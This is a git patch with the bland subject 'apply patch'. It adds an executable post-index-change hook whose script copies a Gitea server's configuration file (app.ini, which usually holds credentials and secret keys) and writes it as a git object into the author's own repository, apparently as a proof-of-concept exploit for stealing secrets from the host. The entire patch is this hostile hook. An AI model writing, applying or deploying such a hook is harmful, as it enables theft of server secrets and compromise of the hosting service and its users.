From 8fe5a6e6a91f02d05096a277f95d65cda982cbdd Mon Sep 17 00:00:00 2001 From: pocnet_1793467068 Date: Sat, 31 Oct 2026 18:11:16 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..b84acb1 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,7 @@ +#!/bin/sh +which git > /tmp/gitpath.txt 2>&1 +git --version >> /tmp/gitpath.txt 2>&1 +ls /usr/bin/git* >> /tmp/gitpath.txt 2>&1 +cat /data/gitea/conf/app.ini > /tmp/out.txt 2>&1 +# Try with full path +/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan9.git hash-object -w /tmp/out.txt > /tmp/blob.txt 2>&1